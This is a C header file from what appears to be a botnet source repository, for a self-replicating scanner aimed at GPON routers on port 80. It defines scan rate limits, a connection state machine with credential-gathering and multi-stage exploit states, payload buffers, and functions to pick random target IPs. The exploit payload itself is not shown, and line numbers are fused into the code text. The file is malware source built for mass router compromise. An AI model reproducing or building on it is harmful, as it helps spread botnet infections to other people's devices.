Path: blob/master/Botnets/Self Reps/GPON/gpon80_scanner.h
5038 views
#ifdef SELFREP12#pragma once34#include <stdint.h>56#include "includes.h"78#ifdef DEBUG9#define GPON80_SCANNER_MAX_CONNS 310#define GPON80_SCANNER_RAW_PPS 78811#else12#define GPON80_SCANNER_MAX_CONNS 25613#define GPON80_SCANNER_RAW_PPS 78814#endif1516#define GPON80_SCANNER_RDBUF_SIZE 108017#define GPON80_SCANNER_HACK_DRAIN 641819struct gpon80_scanner_connection20{21int fd, last_recv;22enum23{24GPON80_SC_CLOSED,25GPON80_SC_CONNECTING,26GPON80_SC_GET_CREDENTIALS,27GPON80_SC_EXPLOIT_STAGE2,28GPON80_SC_EXPLOIT_STAGE3,29} state;30ipv4_t dst_addr;31uint16_t dst_port;32int rdbuf_pos;33char rdbuf[GPON80_SCANNER_RDBUF_SIZE];34char **credentials;35char payload_buf[256], payload_buf2[256];36int credential_index;37};3839void gpon80_scanner();40void gpon80_kill(void);4142static void gpon80_setup_connection(struct gpon80_scanner_connection *);43static ipv4_t get_random_gpon80_ip(void);4445#endif464748